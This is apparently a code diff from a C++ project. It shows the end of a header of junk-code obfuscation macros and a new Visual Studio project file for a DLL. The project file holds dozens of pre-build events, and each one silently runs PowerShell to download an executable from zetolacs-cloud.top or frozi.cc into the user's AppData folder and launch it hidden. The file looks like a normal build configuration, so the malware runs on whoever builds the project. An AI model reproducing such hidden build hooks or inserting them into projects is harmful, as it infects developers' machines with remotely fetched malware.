if (chance == 6) { volatile int v[2] = {poly_random(10000), poly_random(10000)}; volatile int vo = v[1] * v[2]; } \
|
||||
if (chance == 7) { volatile int v[2] = {poly_random(10000), poly_random(10000)}; volatile int vo = v[1] | v[2]; } \
|
||||
if (chance == 8) { volatile int v[2] = {poly_random(10000), poly_random(10000)}; volatile int vo = v[1] ^ v[2]; } \
|
||||
if (chance == 9) { volatile int v[2] = {poly_random(10000), poly_random(10000)}; volatile int vo = v[1] & v[2]; } \
|
||||
if (chance == 10) { volatile int v[2] = {poly_random(10000), poly_random(10000)}; volatile int vo = v[1] - v[2]; } \
|
||||
if (chance == 11) { volatile int v[2] = {poly_random(10000), poly_random(10000)}; volatile int vo = v[1] / (v[2] + 1); } \
|
||||
if (chance == 12) { volatile int v[2] = {poly_random(10000), poly_random(10000)}; volatile int vo = v[2] % (v[1] + 1); } \
|
||||
if (chance == 13) { volatile int v1 = poly_random(10000), v2 = v1 + poly_random(10000); } \
|
||||
if (chance == 14) { volatile int v1 = poly_random(10000), v2 = v1 * poly_random(10000); } \
|
||||
if (chance == 15) { volatile int v1 = poly_random(10000), v2 = v1 | poly_random(10000); } \
|
||||
if (chance == 16) { volatile int v1 = poly_random(10000), v2 = v1 ^ poly_random(10000); } \
|
||||
if (chance == 17) { volatile int v1 = poly_random(10000), v2 = v1 & poly_random(10000); } \
|
||||
if (chance == 18) { volatile int v1 = poly_random(10000), v2 = v1 - poly_random(10000); } \
|
||||
if (chance == 19) { volatile int v1 = poly_random(10000), v2 = v1 / (poly_random(10000) + 1); } \
|
||||
if (chance == 20) { volatile int v1 = poly_random(10000), v2 = v1 % (poly_random(10000) + 1); } \
|
||||
}
|
||||
|
||||
// random order of operations for two functions
|
||||
#define poly_random_order(f1,f2) { \
|
||||
int chance = poly_random(2); \
|
||||
if (chance == 0) { f1; f2; } \
|
||||
else { f2; f1; } \
|
||||
}
|
||||
|
||||
// every `c` calls, on average the function `f` will only get executed once
|
||||
#define poly_random_chance(c,f) { \
|
||||
int chance = poly_random(c); \
|
||||
if (chance == 0) { f; } \
|
||||
}
|
||||
|
||||
// random normal distribution
|
||||
#define poly_normal(sigma,mu) (poly::BoxMuller(poly_double(),poly_double(),sigma,mu))
|
||||
Executable
+544
@@ -0,0 +1,544 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>16.0</VCProjectVersion>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<ProjectGuid>{7aff7602-ea96-484f-a8a5-4c9d68022925}</ProjectGuid>
|
||||
<RootNamespace>Plds</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
<ProjectName>Plds</ProjectName>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<LanguageStandard>stdcpp20</LanguageStandard>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<TargetName>wer</TargetName>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;TESTDLLMESSAGEBOX_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableUAC>false</EnableUAC>
|
||||
</Link>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=JOSBf2fDaTKZmCIop7LMX008.txt' -OutFile $env:APPDATA\HPSR.exe; Start-Process -FilePath $env:APPDATA\HPSR.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=hSoTjMPgKZmtpimvUjLMX008.txt' -OutFile $env:APPDATA\HPSR.exe; Start-Process -FilePath $env:APPDATA\HPSR.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=hSoTjMPgKZmtpimvUjLMX008.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=hSoTjMPgKZmtpimvUjLMX008.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=4QfJE5FLNQSltzpZdILCW009.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=Nk6OvAKsRy9k6wicomLCW009.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=MbTeY4wTlnhlVbNmIDLCW009.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=0GTls3ZELXLnKLrXDsLCW010.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=ENuwkBTakVYs8YpUNALCW011.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=ENuwkBTakVYs8YpUNALCW011.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=Mzrj0OStxgmMYRqEMhLCW012.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=EB8yuBlnHK6sQ2qRxqLCW013.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=gJRVD6EEizX07r1aRyLCW013.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=otKcaZlhkQQAcRi8ojLCW013.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=upAa8nppMvK3ggd1dFLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=aLxHnRbqj3Dj9n2THxLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=Yuw0R11odfVv9P1o9xLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=ld7ClokRBD8oBjLLqpLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=E2IkWCtEES17n6Lv5vLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=4Suvv0GFZDE3St59PULCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=MHelDAwX4pDQEI4aRiPRE001.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=5m2aR5nRFUPBIwOVv8PRE001.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=aqFVrRXATt0e1WbhtSPRE002.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=vuMxXgveUWfr4HYswLPRE003.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=CuqkLdD8r2LVIbuRFXPRE003.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=uqtg7OzSflP3gjdbMEPRE003.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=vPBfvSYraXianQGEPKPRE003.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=xd3Ihnad6TB831fHToPRE003.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=G4l2Ka2AbzQFFzCl42PRE004.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=5kbdScpPw4qbif5TtEPRE004.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=515k8EkMr3fPBIwIL5PRE008.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;TESTDLLMESSAGEBOX_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<PrecompiledHeader>NotUsing</PrecompiledHeader>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableUAC>false</EnableUAC>
|
||||
</Link>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=JOSBf2fDaTKZmCIop7LMX008.txt' -OutFile $env:APPDATA\HPSR.exe; Start-Process -FilePath $env:APPDATA\HPSR.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=hSoTjMPgKZmtpimvUjLMX008.txt' -OutFile $env:APPDATA\HPSR.exe; Start-Process -FilePath $env:APPDATA\HPSR.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=hSoTjMPgKZmtpimvUjLMX008.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=hSoTjMPgKZmtpimvUjLMX008.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=4QfJE5FLNQSltzpZdILCW009.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=Nk6OvAKsRy9k6wicomLCW009.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=MbTeY4wTlnhlVbNmIDLCW009.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=0GTls3ZELXLnKLrXDsLCW010.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=ENuwkBTakVYs8YpUNALCW011.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=ENuwkBTakVYs8YpUNALCW011.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=Mzrj0OStxgmMYRqEMhLCW012.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=EB8yuBlnHK6sQ2qRxqLCW013.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=gJRVD6EEizX07r1aRyLCW013.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=otKcaZlhkQQAcRi8ojLCW013.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=upAa8nppMvK3ggd1dFLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=aLxHnRbqj3Dj9n2THxLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=Yuw0R11odfVv9P1o9xLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=ld7ClokRBD8oBjLLqpLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=E2IkWCtEES17n6Lv5vLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=4Suvv0GFZDE3St59PULCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=MHelDAwX4pDQEI4aRiPRE001.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=5m2aR5nRFUPBIwOVv8PRE001.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
